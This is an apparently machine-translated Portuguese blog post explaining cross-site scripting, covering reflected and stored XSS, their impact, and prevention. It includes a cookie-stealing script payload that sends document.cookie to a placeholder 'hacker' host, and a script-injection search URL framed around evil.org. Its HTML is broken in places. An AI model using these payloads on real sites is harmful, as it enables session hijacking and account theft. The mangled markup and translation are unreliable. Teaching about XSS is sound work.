Conceitos chave de XSS
- XSS é um ataque baseado na web realizado em aplicações web vulneráveis.
- Em ataques XSS, o conteúdo malicioso é entregue aos utilizadores usando JavaScript.
li>Em ataques XSS, a vítima é o utilizador e não a aplicação.
Explicação de Cross-Site Scripting
Uma vulnerabilidade XSS surge quando as aplicações web tiram dados aos utilizadores e os incluem dinamicamente em páginas web sem primeiro validar devidamente os dados. As vulnerabilidades XSS permitem a um atacante executar comandos arbitrários e exibir conteúdo arbitrário no browser de um utilizador vítima. Um ataque XSS bem sucedido leva a que um agressor controle o navegador ou a conta da vítima na aplicação web vulnerável. Embora o XSS seja activado por páginas vulneráveis numa aplicação web, as vítimas de um ataque XSS são os utilizadores da aplicação, não a aplicação em si. A potência de uma vulnerabilidade XSS reside no facto de o código malicioso ser executado no contexto da sessão da vítima, permitindo ao agressor contornar as restrições normais de segurança.
Vídeo-Cross-Site Scripting Video
Exemplos de ataque XSS
XSS reflexivo
Exemplos de ataque XSS reflexivo
Existem muitas maneiras pelas quais um agressor pode induzir uma vítima a iniciar um pedido XSS reflexivo. Por exemplo, o agressor pode enviar à vítima um e-mail enganador com um link contendo JavaScript malicioso. Se a vítima clicar no link, o pedido HTTP é iniciado a partir do browser da vítima e enviado para a aplicação web vulnerável. O JavaScript malicioso é então reflectido de volta ao browser da vítima, onde é executado no contexto da sessão do utilizador vítima.
br>
Persistente XSS
Considerar uma aplicação web que permite aos utilizadores introduzir um nome de utilizador que é exibido na página de perfil de cada utilizador. A aplicação armazena cada nome de utilizador numa base de dados local. Um utilizador malicioso nota que a aplicação web não higieniza o campo do nome de utilizador e introduz código JavaScript malicioso como parte do seu nome de utilizador. Quando outros utilizadores visualizam a página de perfil do atacante, o código malicioso executa automaticamente no contexto da sua sessão.
br>>exemplo de xss cross site scripting consistente>br>>>>p>Impacto do Cross-Site Scripting
Quando os atacantes conseguem explorar as vulnerabilidades XSS, podem obter acesso às credenciais da conta. Podem também espalhar vermes da web ou aceder ao computador do utilizador e ver o histórico do navegador do utilizador ou controlar o navegador remotamente. Depois de obterem o controlo do sistema da vítima, os atacantes podem também analisar e utilizar outras aplicações intranet.
Ao explorar vulnerabilidades XSS, um atacante pode executar acções maliciosas, tais como:
- Hijack uma conta.
- Disseminar worms.
- Acesso ao histórico do navegador e ao conteúdo da área de transferência.
- Controlar o navegador remotamente.
- Scan e explorar aparelhos e aplicações de intranet.
Identificação de Vulnerabilidades de Cross-Site Scripting
Vulnerabilidades de XSS podem ocorrer se:
- Ingresso em aplicações web não é validado
- Output to the browser is not HTML encoded
XSS Exemplos
Exemplo 1.
Por exemplo, o snippet HTML:
<title>Example document: %(title)</title>
br>é destinado a ilustrar um snippet de modelo que, se o título da variável tiver valor Cross-Site Scripting, resulta no seguinte HTML a ser emitido para o navegador:
<title>Example document: XSS Doc</title>
br>Um sítio contendo um campo de pesquisa não tem o higienizador de entrada adequado. Ao criar uma consulta de pesquisa parecida com isto:
"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>
br>sitting no outro extremo, no servidor web, estará a receber acessos onde depois de um espaço duplo é o cookie do utilizador. Se um administrador clicar no link, um atacante poderá roubar o ID da sessão e desviar a sessão.
Exemplo 2.
Suponha que existe um URL no site do Google, http://www.google.com/search?q=flowers
, que devolve documentos HTML contendo o fragmento
<p>Your search for 'flowers' returned the following results:</p>
br>i.e, o valor do parâmetro de consulta q é inserido na página devolvida pelo Google. Suponhamos ainda que os dados não são validados, filtrados ou escapados.
Evil.org poderia colocar uma página que faz com que o seguinte URL seja carregado no navegador (por exemplo, num invisível<iframe>):
http://www.google.com/search?q=flowers+%3Cscript%3Eevil_script()%3C/script%3E
Quando uma vítima carrega esta página de www.evil.org, o navegador carregará o iframe a partir do URL acima. O documento carregado no iframe conterá agora o fragmento
<p>Your search for 'flowers <script>evil_script()</script>'
returned the following results:</p>
br>>Carregar esta página fará com que o navegador execute o evil_script(). Além disso, este script será executado no contexto de uma página carregada de www.google.com.
Recursos para a Prevenção de Cross-Site Scripting
Prevenção de Cross-Site Scripting deve ser abordada nas fases iniciais de desenvolvimento; no entanto, se já estiver bem encaminhado para a produção, existem ainda várias medidas de prevenção de cross-site que pode tomar para prevenir um ataque.
Este post no blog fornece um resumo do que precisa de saber sobre o Cross-Site Scripting.
XSS Cheat Sheet: Prevenir um ataque de Cross-Site Scripting
0 comentários